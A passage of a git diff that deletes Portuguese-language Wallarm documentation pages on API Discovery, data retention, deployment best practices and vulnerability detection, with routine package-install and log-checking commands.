(BOLA)](../attacks-vulns-list.md#broken-object-level-authorization-bola) exploram a vulnerabilidade do mesmo nome. Esta vulnerabilidade permite que um invasor acesse um objeto pelo seu identificador por meio de uma solicitação de API e leia ou modifique seus dados, contornando um mecanismo de autorização. - -Potenciais alvos dos ataques BOLA são pontos de extremidade com variabilidade. A Wallarm pode descobrir automaticamente e proteger tais pontos de extremidade entre os explorados pelo módulo **API Discovery**. - -Para habilitar a proteção automática BOLA, vá para a [Console Wallarm → **BOLA protection**](../user-guides/bola-protection.md) e mude a chave para o estado habilitado: - -![Gatilho BOLA](../images/user-guides/bola-protection/trigger-enabled-state.png) - -Cada ponto de extremidade protegido da API será destacado com o ícone correspondente no inventário da API, por exemplo: - -![Gatilho BOLA](../images/about-wallarm-waf/api-discovery/endpoints-protected-against-bola.png) - -Você pode filtrar os pontos de extremidade da API pelo estado de proteção automática BOLA. O parâmetro correspondente está disponível sob o filtro **Others**. - -## API sombra, órfãs e zumbis - -API Discovery permite descobrir APIs rogue (sombra, órfãs e zumbis). - -Uma **API sombra** refere-se a uma API não documentada que existe dentro da infraestrutura de uma organização sem a devida autorização ou supervisão. Eles colocam negócios em risco, pois os invasores podem explorá-los para acessar sistemas críticos, roubar dados valiosos ou interromper as operações. Além disso, é reforçado pelo fato de que as APIs geralmente atuam como guardiões de dados críticos e uma variedade de vulnerabilidades da API OWASP pode ser explorada para contornar a segurança da API. - -Em termos de suas [especificações](../api-specification-enforcement/overview.md) da API enviadas, a API sombra é um ponto de extremidade apresentado no tráfego atual (detectado pela API Discovery) e não apresentado estruturas de composição de suas especificações. - -Conforme você encontra APIs sombras com a Wallarm, pode atualizar suas especificações para incluir pontos de extremidade ausentes e realizar atividades adicionais de monitoramento e segurança para o seu inventário de API na sua íntegra. - -Uma **API órfã** refere-se a uma API documentada que não recebe tráfego. A presença de APIs órfãs pode ser motivo para um processo de verificação. Isso envolve: - -* Inspeção das configurações de tráfego da Wallarm para entender se o tráfego realmente não está sendo recebido, ou se ele simplesmente não é visível para os nós da Wallarm porque foram implantados de uma forma com a qual nem todo o tráfego passa por eles (isso pode ser roteamento de tráfego incorreto, ou outro Gateway Web foi colocado que foi esquecido de colocar o nó, e assim por diante). -* Determinar se certos aplicativos não devem receber nenhum tráfego nesses pontos finais específicos ou se é algum tipo de má configuração. -* Tomar a decisão sobre pontos de extremidade obsoletos: usado em versões de aplicativo anteriores e não usado no atual - eles devem ser excluídos da especificação para reduzir o esforço de verificação de segurança. - -Uma **API zumbi** refere-se a APIs descontinuadas das quais todos presumem que foram desabilitadas, mas que na verdade ainda estão em uso. Seus riscos são semelhantes ao restante das API não documentadas (sombra), mas podem ser piores, pois o motivo para a desativação é muitas vezes os designs inseguros que são mais fáceis de quebrar. - -Em termos de suas especificações de API carregadas, a API zumbi é um ponto de extremidade apresentado na versão anterior de sua especificação, não apresentado na versão atual (ou seja, havia uma intenção de deleção desse ponto final) mas ainda apresentado no tráfego atual (detectado pela API Discovery). - -Encontrar API zumbi com a Wallarm pode ser o motivo para verificar novamente a configuração da API de seus aplicativos para realmente desativar tais pontos finais. - -O módulo API Discovery automaticamente descobre APIs sombras, órfãs e zumbis comparando o inventário da API descoberto com as especificações fornecidas pelos clientes. Você carrega suas especificações de API na seção [**Especificações da API**](../api-specification-enforcement/overview.md) e o módulo automaticamente destaca pontos finais sombra, órfãs e zumbis. - -![API Discovery - destacando e filtrando API rogue](../images/about-wallarm-waf/api-discovery/api-discovery-highlight-rogue.png) - -* [Saiba como carregar especificações para encontrar APIs rogue →](../api-specification-enforcement/overview.md#revelando-api-sombra-%C3%B3rf%C3%A3s-e-zumbis) -* [Saiba como exibir APIs rogue encontradas na seção API Discovery →](../api-discovery/exploring.md#exibindo-api-sombra-e-%C3%B3rf%C3%A3s) - -## Segurança dos dados carregados para o Cloud da Wallarm - -API Discovery analisa a maior parte do tráfego localmente. O módulo envia para o Cloud Wallarm apenas os pontos de extremidade descobertos, os nomes dos parâmetros e vários dados estatísticos (horário de chegada, seu número, etc.) Todos os dados são transmitidos por um canal seguro: antes de enviar as estatísticas para o Cloud Wallarm, o módulo API Discovery hash os valores dos parâmetros de solicitação usando o algoritmo [SHA-256](https://en.wikipedia.org/wiki/SHA-2). - -No lado da nuvem, os dados de hash são usados para análise estatística (por exemplo, ao quantificar solicitações com parâmetros idênticos). - -Outros dados (valores do ponto final, métodos de solicitação e nomes dos parâmetros) não são hasheados antes de serem enviados para o Cloud Wallarm, porque os hashes não podem ser restaurados para seu estado original, o que tornaria a construção do inventário da API impossível. - -!!! warning "Importante" - A Wallarm não envia os valores que são especificados nos parâmetros para o Cloud. Apenas o ponto de extremidade, os nomes dos parâmetros e as estatísticas sobre eles são enviados. - -## Habilitação e configuração da descoberta da API - -O pacote `wallarm-appstructure` está incluído em todas as [formas](../installation/supported-deployment-options.md) do nó Wallarm, exceto para os pacotes Debian 11.x e Ubuntu 22.04. Durante a implantação do nó, ele instala o módulo API Discovery, mas o mantém desabilitado por padrão. - -Para habilitar e rodar API Discovery corretamente: - -1. Certifique-se de que seu nó de Wallarm é da [versão compatível](../updating-migrating/versioning-policy.md#version-list). - - Para garantir que você sempre tenha acesso ao conjunto completo dos recursos da API Discovery, é recomendável verificar regularmente as atualizações do pacote `wallarm-appstructure` da seguinte maneira: - - - === "Debian Linux" - ```bash - sudo apt update - sudo apt install wallarm-appstructure - ``` - === "RedHat Linux" - ```bash - sudo yum update - sudo yum install wallarm-appstructure - ``` -1. Certifique-se de que seu plano de [assinatura](subscription-plans.md#subscription-plans) inclui **API Discovery**. Para mudar o plano de assinatura, envie um pedido para [sales@wallarm.com](mailto:sales@wallarm.com). -1. Se você quiser habilitar API Discovery apenas para os aplicativos selecionados, certifique-se de que os aplicativos foram adicionados conforme descrito no artigo [Configuração de aplicativos](../user-guides/settings/applications.md). - - Se os aplicativos não estiverem configurados, as estruturas de todas as APIs são agrupadas em uma árvore. - -1. Habilite API Discovery para os aplicativos necessários no Wallarm Console → **API Discovery** → **Configurar API Discovery**. - - ![API Discovery – Configurações](../images/about-wallarm-waf/api-discovery/api-discovery-settings.png) - - !!! info "Acesso às configurações de API Discovery" - Apenas os administradores da conta Wallarm da sua empresa podem acessar as configurações da API Discovery. Entre em contato com o administrador se você não tiver esse acesso. - -Assim que o módulo API Discovery for habilitado, ele iniciará a análise do tráfego e a construção do inventário da API. O inventário da API será exibido na seção **API Discovery** do Console Wallarm. - -## Depuração da API Discovery - -Para obter e analisar os logs da API Discovery, você pode usar os seguintes métodos: - -* Se o nó Wallarm for instalado a partir de pacotes de origem: execute o utilitário padrão **journalctl** ou **systemctl** dentro da instância. - - === "journalctl" - ```bash - journalctl -u wallarm-appstructure - ``` - === "systemctl" - ```bash - systemctl status wallarm-appstructure - ``` -* Se o nó Wallarm for implantado a partir do contêiner Docker: leia o arquivo de log `/var/log/wallarm/appstructure.log` dentro do contêiner. -* Se o nó Wallarm for implantado como o controlador de Ingresso do Kubernetes: verifique o status do pod que executa os contêineres Tarantool e `wallarm-appstructure`. A status do pod deve ser **Running**. - - ```bash - kubectl get po -l app=nginx-ingress,component=controller-wallarm-tarantool - ``` - - Leia os logs do contêiner `wallarm-appstructure`: - - ```bash - kubectl logs -l app=nginx-ingress,component=controller-wallarm-tarantool -c wallarm-appstructure - ``` \ No newline at end of file diff --git a/docs/latest-pt-BR/about-wallarm/data-retention-policy.md b/docs/latest-pt-BR/about-wallarm/data-retention-policy.md deleted file mode 100644 index f524e4e632..0000000000 --- a/docs/latest-pt-BR/about-wallarm/data-retention-policy.md +++ /dev/null @@ -1,15 +0,0 @@ -# Política de retenção de dados - -Esta política descreve os períodos de retenção para diferentes conjuntos de dados coletados pela Wallarm e armazenados na Nuvem Wallarm. - -| Conjunto de dados | Assinatura paga | Conta gratuita/Teste gratuito | -|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------|------------------| -| Dados sobre ataques, acertos e incidentes detectados pelos nós de filtragem | 6 meses | 3 meses | -| Dados sobre vulnerabilidades detectadas pelos nós de filtragem ou pelo módulo **Verificação ativa de ameaças** | 6 meses | 3 meses | -| Dados sobre vulnerabilidades detectadas pelo Scanner de Vulnerabilidades | 6 meses | 3 meses | -| Estatísticas de solicitações processadas e bloqueadas exibidas no [painel de Prevenção de ameaças](../user-guides/dashboards/threat-prevention.md) | 6 meses | 3 meses | -| [Ativos expostos da empresa](../user-guides/scanner.md) detectados pelo Scanner de ativos expostos | 6 meses | 3 meses | -| Histórico de [endereços IP na lista de permissões, na lista de negações e na lista cinza](../user-guides/ip-lists/overview.md) | 3 meses | 3 meses | -| [Regras](../user-guides/rules/rules.md) geradas automaticamente ou criadas manualmente para o processamento de tráfego pelos nós Wallarm | ∞ | ∞ | -| Configuração da conta Wallarm: [usuários](../user-guides/settings/users.md), [aplicações](../user-guides/settings/applications.md), [integrações](../user-guides/settings/integrations/integrations-intro.md), [gatilhos](../user-guides/triggers/triggers.md) | ∞ | ∞ | -| Registros do [log de auditoria](../user-guides/settings/audit-log.md) | 6 meses | 3 meses | \ No newline at end of file diff --git a/docs/latest-pt-BR/about-wallarm/deployment-best-practices.md b/docs/latest-pt-BR/about-wallarm/deployment-best-practices.md deleted file mode 100644 index cecafdfc9a..0000000000 --- a/docs/latest-pt-BR/about-wallarm/deployment-best-practices.md +++ /dev/null @@ -1,141 +0,0 @@ -# Melhores práticas para a implantação e manutenção da solução Wallarm - -Este artigo formula as melhores práticas para a implantação e manutenção da solução Wallarm. - -## Entenda o poder do NGINX - -A maioria das opções de implantação do nó de filtragem Wallarm usa NGINX como servidor proxy reverso (a base para o módulo Wallarm), que oferece uma ampla gama de funcionalidades, módulos e guias de desempenho/segurança. A seguir está uma coleção de artigos úteis da Internet: - -* [Awesome NGINX](https://github.com/agile6v/awesome-nginx) -* [Apresentação de slides NGINX: noções básicas e melhores práticas](https://www.slideshare.net/Nginx/nginx-basics-and-best-practices-103340015) -* [Como otimizar a configuração do NGINX](https://www.digitalocean.com/community/tutorials/how-to-optimize-nginx-configuration) -* [3 passos rápidos para otimizar o desempenho do seu servidor NGINX](https://www.techrepublic.com/article/3-quick-steps-to-optimize-the-performance-of-your-nginx-server/) -* [Como construir um servidor NGINX resistente em 15 passos](https://www.upguard.com/blog/how-to-build-a-tough-nginx-server-in-15-steps) -* [Como ajustar e otimizar o desempenho do servidor Web NGINX](https://hostadvice.com/how-to/how-to-tune-and-optimize-performance-of-nginx-web-server/) -* [Formas poderosas de turbinar seu servidor NGINX e melhorar seu desempenho](https://www.freecodecamp.org/news/powerful-ways-to-supercharge-your-nginx-server-and-improve-its-performance-a8afdbfde64d/) -* [Melhores práticas de implantação do TLS](https://www.linode.com/docs/guides/tls-deployment-best-practices-for-nginx/) -* [Guia de segurança e fortificação do servidor Web NGINX](https://geekflare.com/nginx-webserver-security-hardening-guide/) -* [Ajuste do NGINX para melhor desempenho](https://github.com/denji/nginx-tuning) -* [Top 25 melhores práticas de segurança do servidor Web NGINX](https://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html) - -## Siga as etapas recomendadas para o onboarding - -1. Saiba mais sobre as [opções de implantação do nó Wallarm disponíveis](../installation/supported-deployment-options.md). -2. Saiba mais sobre as opções disponíveis para [gerenciar separadamente a configuração do nó Wallarm para seus ambientes](../installation/multi-tenant/overview.md#issues-addressed-by-multitenancy) (se necessário). -3. Implante nós de filtragem Wallarm em seus ambientes de não produção com o [modo de operação](../admin-en/configure-wallarm-mode.md) definido como `monitorização`. -4. Saiba como operar, dimensionar e monitorar a solução Wallarm e confirme a estabilidade do novo componente de rede. -5. Implante nós de filtragem Wallarm em seu ambiente de produção com o [modo de operação](../admin-en/configure-wallarm-mode.md) definido como `monitorização`. -6. Implemente o gerenciamento de configuração apropriado e os [processos de monitorização](#enable-proper-monitoring-of-the-filtering-nodes) para o novo componente Wallarm. -7. Mantenha o tráfego fluindo por meio dos nós de filtragem em todos os seus ambientes (incluindo testes e produção) por 7 a 14 dias para dar tempo para o backend baseado em nuvem do Wallarm aprender sobre sua aplicação. -8. Ative o [modo](../admin-en/configure-wallarm-mode.md) `bloqueio` do Wallarm em todos os seus ambientes de não produção e use testes automatizados ou manuais para confirmar que a aplicação protegida está funcionando conforme o esperado. -9. Ative o [modo](../admin-en/configure-wallarm-mode.md) `bloqueio` do Wallarm no ambiente de produção e use os métodos disponíveis para confirmar que a aplicação está funcionando conforme o esperado. - -## Implante os nós de filtragem não apenas no ambiente de produção, mas também nos ambientes de testes e homologação - -A maioria dos contratos de serviço Wallarm não limita o número de nós Wallarm implantados pelo cliente, então não há motivo para não implantar os nós de filtragem em todos os seus ambientes, incluindo desenvolvimento, testes, homologação, etc. - -Ao implantar e usar os nós de filtragem em todas as etapas de seu desenvolvimento de software e/ou atividades de operação de serviço, você tem uma chance melhor de testar corretamente todo o fluxo de dados e minimizar o risco de qualquer situação inesperada em seu ambiente de produção crítico. - -## Ative a biblioteca libdetection - -Analisar solicitações com a [biblioteca **libdetection**](protecting-against-attacks.md#library-libdetection) melhora significativamente a capacidade do nó de filtragem de detectar ataques SQLi. É altamente recomendado que todos os clientes da Wallarm [atualizem](/updating-migrating/general-recommendations/) para a versão mais recente do software do nó de filtragem e mantenham a biblioteca **libdetection** habilitada. - -* Na versão 4.4 do nó de filtragem e superior, **libdetection** está habilitada por padrão. -* Nas versões inferiores, recomenda-se ativá-la usando a [abordagem](protecting-against-attacks.md#managing-libdetection-mode) para a sua opção de implantação. - -## Configure o relatório apropriado dos endereços IP dos usuários finais - -Para os nós de filtragem Wallarm localizados atrás de um balanceador de carga ou CDN, certifique-se de configurar seus nós de filtragem para relatar corretamente os endereços IP dos usuários finais (caso contrário, a [funcionalidade da lista de IP](../user-guides/ip-lists/overview.md), [Verificação de ameaça ativa](detecting-vulnerabilities.md#active-threat-verification) e alguns outros recursos não funcionarão): - -* [Instruções para os nós Wallarm baseados em NGINX](../admin-en/using-proxy-or-balancer-en.md) (incluindo imagens AWS / GCP e contêiner de nó Docker) -* [Instruções para os nós de filtragem implantados como o controlador de entrada Wallarm Kubernetes](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) - -## Habilite a monitorização adequada dos nós de filtragem - -É altamente recomendado habilitar a monitorização adequada dos nós de filtragem Wallarm. - -O método para configurar a monitorização do nó de filtragem depende da opção de implantação: - -* [Instruções para os nós de filtragem implantados como controlador de entrada Wallarm Kubernetes](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) -* [Instruções para a imagem Docker baseada em NGINX](../admin-en/installation-docker-en.md#monitoring-configuration) - -## Implemente a redundância adequada e a funcionalidade de failover automático - -Como qualquer outro componente crítico em seu ambiente de produção, os nós Wallarm devem ser arquitetados, implantados e operados com o nível adequado de redundância e failover automático. Você deve ter **pelo menos dois nós de filtragem Wallarm ativos** manipulando solicitações críticas de usuários finais. Os seguintes artigos fornecem informações relevantes sobre o tópico: - -* [Instruções para nós Wallarm baseados em NGINX](../admin-en/configure-backup-en.md) (incluindo imagens AWS / GCP, contêiner de nó Docker e sidecars Kubernetes) -* [Instruções para os nós de filtragem implantados como o controlador de entrada Wallarm Kubernetes](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md) - -## Saiba como usar a lista de permissões, a lista de negações e a lista cinza de endereços IP - -Além de bloquear solicitações maliciosas individuais, os nós de filtragem Wallarm também podem bloquear endereços IP individuais de usuários finais. As regras para o bloqueio de IPs são configuradas usando listas de permissões, listas de negações e listas cinzas. - -[Mais detalhes sobre o uso de listas de IP →](../user-guides/ip-lists/overview.md) - -## Aprenda como realizar a implantação gradual das alterações de configuração do Wallarm - -* Use políticas de gerenciamento de mudanças DevOps padrão e políticas de implantação gradual para alterações de configuração de baixo nível para nós de filtragem Wallarm em todos os formatos. -* Para regras de filtragem de tráfego, use um conjunto diferente de [IDs](../admin-en/configure-parameters-en.md#wallarm_application) de aplicação ou cabeçalhos de solicitação `Host`. -* Para a regra [Criar indicador de ataque com base em expressão regular](../user-guides/rules/regex-rule.md#adding-a-new-detection-rule), além da capacidade mencionada acima de ser associada a um ID de aplicação específico, ela pode ser ativada no modo de monitorização (caixa de seleção **Experimental**) mesmo quando o nó Wallarm está sendo executado no modo de bloqueio. -* A regra [Definir modo de filtragem](../user-guides/rules/wallarm-mode-rule.md) permite o controle do modo de operação do nó Wallarm (`monitorização`, `bloqueio seguro` ou `bloqueio`) a partir do Console Wallarm, semelhante à configuração [`wallarm_mode`](../admin-en/configure-parameters-en.md#wallarm_mode) na configuração do NGINX (dependendo da configuração [`wallarm_mode_allow_override`](../admin-en/configure-parameters-en.md#wallarm_mode_allow_override)). - -## Configure as integrações disponíveis para receber notificações do sistema - -O Wallarm fornece [integrações nativas](../user-guides/settings/integrations/integrations-intro.md) convenientes com Slack, Telegram, PagerDuty, Opsgenie e outros sistemas para enviar rapidamente para você diferentes notificações de segurança geradas pela plataforma, por exemplo: - -* Vulnerabilidades de segurança recém-descobertas -* Mudanças no perímetro de rede da empresa -* Usuários adicionados recentemente à conta da empresa via Console Wallarm, etc - -Você também pode usar a funcionalidade [Triggers](../user-guides/triggers/triggers.md) para configurar alertas personalizados sobre diferentes eventos ocorrendo no sistema. - -## Conheça o poder da funcionalidade Triggers - -Dependendo do seu ambiente específico, recomendamos que você configure os seguintes [gatilhos](../user-guides/triggers/triggers.md): - -* Monitorização do aumento do nível de solicitações maliciosas detectadas pelos nós Wallarm. Este gatilho pode sinalizar um dos seguintes problemas potenciais: - - * Você está sob ataque e o nó Wallarm está bloqueando com sucesso solicitações maliciosas. Você pode considerar rever os ataques detectados e adicionar manualmente os endereços IP dos atacantes relatados à lista de negação (bloqueio). - * Você tem um aumento no nível de ataques positivos falsos detectados pelos nós Wallarm. Você pode considerar escalar isso para a [equipe de suporte técnico do Wallarm](mailto:support@wallarm.com) ou [marcar manualmente as solicitações como falsos positivos](../user-guides/events/false-attack.md). - * Se você teve o gatilho de [lista de negação](../user-guides/triggers/trigger-examples.md#denylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour) ativo, mas ainda recebe alertas sobre um aumento no nível de ataques, então o alerta pode sinalizar que o gatilho não está funcionando conforme o esperado. - - [Veja o exemplo de gatilho configurado →](../user-guides/triggers/trigger-examples.md#slack-notification-if-2-or-more-sqli-hits-are-detected-in-one-minute) -* Notifique que um novo usuário foi adicionado à conta de sua empresa no Console Wallarm - - [Veja o exemplo de gatilho configurado →](../user-guides/triggers/trigger-examples.md#slack-and-email-notification-if-new-user-is-added-to-the-account) -* Marque as solicitações como ataque de força bruta ou navegação forçada e bloqueie os endereços IP de onde as solicitações foram originadas - - [Instruções sobre a configuração da proteção contra força bruta →](../admin-en/configuration-guides/protecting-against-bruteforce.md) -* Notifique que novos endereços IP foram bloqueados - - [Veja o exemplo de gatilho configurado →](../user-guides/triggers/trigger-examples.md#notification-to-webhook-url-if-ip-address-is-added-to-the-denylist) -* Adicione automaticamente endereços IP à [lista cinza](../user-guides/ip-lists/graylist.md) usada no modo de [bloqueio seguro](../admin-en/configure-wallarm-mode.md). - -Para otimizar o processamento de tráfego e o envio de ataques, o Wallarm [pré-configura](../user-guides/triggers/triggers.md#pre-configured-triggers-default-triggers) alguns gatilhos. - -## Ative o SSO SAML para sua conta no Console Wallarm - -Você pode usar um provedor de SSO SAML como G Suite, Okta ou OneLogin para centralizar a autenticação de usuários em sua conta do Console Wallarm. - -Entre em contato com o gerente de conta do Wallarm ou a equipe de suporte técnico para ativar o SSO SAML para sua conta, e depois siga [estas instruções](../admin-en/configuration-guides/sso/intro.md) para realizar a configuração do SSO SAML. - -## Use o provedor Terraform Wallarm para o gerenciamento de configuração do Wallarm Cloud - -[O provedor oficial Terraform do Wallarm](../admin-en/managing/terraform-provider.md) permite que você gerencie a configuração do Wallarm Cloud (usuários, aplicativos, regras, integrações, etc) usando a moderna abordagem de Infraestrutura como Código (IaC). - -## Tenha um plano para atualizar prontamente para as novas versões do nó Wallarm lançadas - -Wallarm está constantemente trabalhando para melhorar o software do nó de filtragem, com novas versões disponíveis cerca de uma vez por trimestre. Por favor, leia [este documento](../updating-migrating/general-recommendations.md) para informações sobre a abordagem recomendada para realizar as atualizações, com riscos associados e procedimentos de atualização relevantes. - -## Conheça as ressalvas conhecidas - -* Todos os nós Wallarm conectados à mesma conta Wallarm receberão o mesmo conjunto de regras padrão e personalizadas para a filtragem de tráfego. Você ainda pode aplicar regras diferentes para diferentes aplicações usando IDs de aplicações adequadas ou parâmetros únicos de solicitação HTTP como cabeçalhos, parâmetros de string de consulta, etc. -* Se você tiver o gatilho configurado para bloquear automaticamente um endereço IP ([exemplo de gatilho](../user-guides/triggers/trigger-examples.md#denylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour)), o sistema bloqueará o IP para todas as aplicações em uma conta Wallarm. - -## Siga as melhores práticas para Verificação de ameaça ativa - -Um dos métodos que o Wallarm usa para [detectar vulnerabilidades](../about-wallarm/detecting-vulnerabilities.md) é a **Verificação de ameaça ativa**. - -A **Verificação de ameaça ativa** permite que você transforme atacantes em testadores de penetração e descubra possíveis problemas de segurança a partir de sua atividade enquanto eles sondam seus aplicativos/APIs em busca de vulnerabilidades. Este módulo encontra possíveis vulnerabilidades sondando os endpoints da aplicação usando dados reais de ataque do tráfego. Por padrão, este método está desativado. - -[Conheça as melhores práticas para a configuração do módulo **Verificação de ameaça ativa** →](../vulnerability-detection/threat-replay-testing/setup.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/about-wallarm/detecting-vulnerabilities.md b/docs/latest-pt-BR/about-wallarm/detecting-vulnerabilities.md deleted file mode 100644 index 978b19fba4..0000000000 --- a/docs/latest-pt-BR/about-wallarm/detecting-vulnerabilities.md +++ /dev/null @@ -1,144 +0,0 @@ -[allowlist-scanner-addresses]: ../user-guides/ip-lists/allowlist.md - -# Detecção de vulnerabilidades - -Devido a negligência ou informações inadequadas ao construir ou implementar um aplicativo, pode ser vulnerável a ataques. Neste artigo, você aprenderá como a plataforma Wallarm detecta vulnerabilidades de aplicativos, permitindo que você melhore a segurança do sistema. - -## O que é uma vulnerabilidade? - -Uma vulnerabilidade é um erro cometido por negligência ou informações inadequadas ao construir ou implementar um aplicativo. Uma vulnerabilidade pode ser explorada por um invasor para cruzar limites de privilégio (ou seja, realizar ações não autorizadas) dentro de um aplicativo. - -## Métodos de detecção de vulnerabilidades - -Ao digitalizar o aplicativo para vulnerabilidades ativas, a Wallarm envia solicitações com sinais de ataque para o endereço do aplicativo protegido e analisa as respostas do aplicativo. Se a resposta corresponder a um ou mais sinais de vulnerabilidade pré-definidos, a Wallarm registra uma vulnerabilidade ativa. - -Por exemplo: se a resposta à solicitação enviada para ler o conteúdo do '/etc/passwd' retorna o conteúdo do '/etc/passwd', o aplicativo protegido é vulnerável aos ataques de Path Traversal. A Wallarm registrará a vulnerabilidade com um tipo apropriado. - -Para detectar vulnerabilidades no aplicativo, a Wallarm envia solicitações com sinais de ataque usando os seguintes métodos: - -* **Detecção passiva**: a vulnerabilidade foi encontrada devido ao incidente de segurança que ocorreu. -* **Verificação de ameaça ativa**: permite que você transforme os invasores em testers de penetração e descubra possíveis problemas de segurança a partir de sua atividade enquanto eles sondam seus aplicativos/APIs em busca de vulnerabilidades. Este módulo encontra possíveis vulnerabilidades sondando endpoints de aplicativos usando dados reais de ataque do tráfego. Por padrão, este método está desativado. -* **Scanner de vulnerabilidades**: os ativos expostos da empresa são examinados em busca de vulnerabilidades típicas. - -### Detecção passiva - -Com a detecção passiva, a Wallarm detecta uma vulnerabilidade devido ao incidente de segurança que ocorreu. Se uma vulnerabilidade do aplicativo foi explorada durante um ataque, a Wallarm registra o incidente de segurança e a vulnerabilidade explorada. - -A detecção passiva de vulnerabilidades está ativada por padrão. - -### Verificação de ameaças ativas - -A Verificação de Ameaças Ativas da Wallarm transforma os invasores em seus próprios testers de penetração. Ele analisa as primeiras tentativas de ataque e, em seguida, explora outras maneiras pelas quais o mesmo ataque pode ser explorado. Isso expõe pontos fracos em seu ambiente que até mesmo os invasores originais não encontraram. [Leia mais](../vulnerability-detection/threat-replay-testing/overview.md) - -Os recursos da Verificação de Ameaças Ativas: - -* **Testes em tempo real**: Utiliza dados de ataque ao vivo para identificar pontos fracos atuais e futuros, mantendo-o um passo à frente dos hackers. -* **Simulação segura e inteligente**: Ignora detalhes sensíveis de autenticação e remove o código prejudicial nos testes. Simula técnicas de ataque para máxima segurança, não arriscando danos reais. -* **Testes seguros em ambiente não produtivo**: Permite que você [execute checagens de vulnerabilidade em um ambiente de teste ou desenvolvimento](../vulnerability-detection/threat-replay-testing/setup.md) usando dados reais de produção, mas sem os riscos como sobrecarga do sistema ou exposição de dados. - -O módulo está desativado por padrão. Para ativá-lo: - -1. Verifique se você tem um plano de assinatura **Advanced API Security** ativo. O módulo só está disponível neste plano. - - Se você estiver em um plano diferente, entre em contato com nossa [equipe de vendas](mailto:sales@wallarm.com) para fazer a transição para o necessário. -1. Acesse Wallarm Console → **Vulnerabilidades** → **Configure** seguindo o link para [US Cloud](https://us1.my.wallarm.com/vulnerabilities/active?configure=true) ou [EU Cloud](https://my.wallarm.com/vulnerabilities/active?configure=true), e alterne a chave **Verificação de ameaça ativa**. - -Você tem ainda a capacidade de [ajustar ou personalizar o comportamento do módulo](../vulnerability-detection/threat-replay-testing/setup.md#enable) para endpoints específicos. - -### Scanner de Vulnerabilidades - -#### Como funciona - -Scanner de Vulnerabilidades verifica todos os ativos expostos da empresa à procura de vulnerabilidades típicas. O Scanner envia solicitações para endereços de aplicativos a partir de endereços IP fixos e adiciona o cabeçalho `X-Wallarm-Scanner-Info` às solicitações. - -#### Configuração - -* O Scanner pode ser [ativado ou desativado](../user-guides/vulnerabilities.md#configuring-vulnerability-detection) no Wallarm Console → **Vulnerabilidades** → **Configure**. Por padrão, o Scanner está ativado. -* A lista de [vulnerabilidades que podem ser detectadas](../user-guides/vulnerabilities.md#configuring-vulnerability-detection) pelo Scanner pode ser configurada em Wallarm Console → **Vulnerabilidades** → **Configure**. Por padrão, o Scanner de Vulnerabilidades detecta todas as vulnerabilidades disponíveis. -* O [limite de solicitações enviadas a partir do Scanner](../user-guides/scanner.md#limiting-vulnerability-scanning) pode ser configurado para cada ativo em Wallarm Console → **Scanner** → **Configure**. -* Se você usa instalações adicionais (software ou hardware) para filtrar e bloquear o tráfego automaticamente, recomenda-se que você configure uma lista de permissões com os endereços IP para o Scanner Wallarm. Isso permitirá que os componentes Wallarm escaneiem seus recursos em busca de vulnerabilidades sem problemas. - - * [Endereço IP do Scanner registrado na Wallarm US Cloud](../admin-en/scanner-addresses.md) - * [Endereço IP do Scanner registrado na Wallarm EU Cloud](../admin-en/scanner-addresses.md) - - Se você não usa instalações adicionais, mas usa o Scanner Wallarm, você não precisa permitir manualmente os endereços IP do Scanner. A partir do nó Wallarm 3.0, os endereços IP do Scanner são automaticamente incluídos na lista de permissões. - -## Falsos positivos - -**Falso positivo** ocorre quando os sinais de ataque são detectados na solicitação legítima ou quando uma entidade legítima é qualificada como uma vulnerabilidade. [Mais detalhes sobre falsos positivos na detecção de ataques →](protecting-against-attacks.md#false-positives) - -Falsos positivos na varredura de vulnerabilidades podem ocorrer devido às especificidades do aplicativo protegido. Respostas semelhantes a solicitações semelhantes podem indicar uma vulnerabilidade ativa em um aplicativo protegido e ser o comportamento esperado de outro aplicativo protegido. - -Se detectado um falso positivo para uma vulnerabilidade, você pode adicionar uma marca apropriada à vulnerabilidade no Console Wallarm. Uma vulnerabilidade marcada como falso positivo será fechada e não será rechecada. - -Se a vulnerabilidade detectada existir no aplicativo protegido, mas não puder ser corrigida, recomendamos a configuração da regra [**Criar um patch virtual**](../user-guides/rules/vpatch-rule.md). Esta regra permitirá bloquear ataques que exploram o tipo de vulnerabilidade detectada e eliminará o risco de um incidente. - -## Gerenciando vulnerabilidades descobertas - -Todas as vulnerabilidades detectadas são exibidas na seção Wallarm Console → **Vulnerabilidades**. Você pode gerenciar as vulnerabilidades através da interface da seguinte maneira: - -* Visualizar e analisar vulnerabilidades -* Executar a verificação de status da vulnerabilidade: ainda ativo ou corrigido no lado do aplicativo -* Fechar vulnerabilidades ou marcá-las como falsos positivos - -![Seção Vulnerabilidades](../images/user-guides/vulnerabilities/check-vuln.png) - -Se você usar o módulo [**API Discovery**](../api-discovery/overview.md) da plataforma Wallarm, as vulnerabilidades serão vinculadas aos endpoints de API descobertos, por exemplo: - -![API Discovery - Pontuação de Risco](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score.png) - -Para mais informações sobre o gerenciamento de vulnerabilidades, consulte as instruções sobre [trabalho com vulnerabilidades](../user-guides/vulnerabilities.md). - -## Notificações sobre vulnerabilidades descobertas - -A Wallarm pode enviar notificações sobre vulnerabilidades descobertas. Ele permite que você esteja ciente das novas vulnerabilidades descobertas em seus aplicativos e responda a elas prontamente. Responder a vulnerabilidades inclui corrigi-las no lado do aplicativo, relatar falsos positivos e aplicar patches virtuais. - -Para configurar notificações: - -1. Crie a [integração nativa](../user-guides/settings/integrations/integrations-intro.md) com o sistema para enviar notificações (por exemplo, PagerDuty, Opsgenie, Splunk, Slack, Telegram). -2. No cartão de integração, selecione **Vulnerabilidades detectadas** na lista de eventos disponíveis. - -Exemplo de notificação do Splunk sobre vulnerabilidade detectada: - -```json -{ - summary:"[Mensagem de teste] [Test partner(BR)] Nova vulnerabilidade detectada", - description:"Tipo de notificação: vuln - - Uma nova vulnerabilidade foi detectada em seu sistema. - - ID: - Título: Teste - Domínio: exemplo.com - Caminho: - Método: - Descoberto por: - Parâmetro: - Tipo: Info - Ameaça: Média - - Mais detalhes: 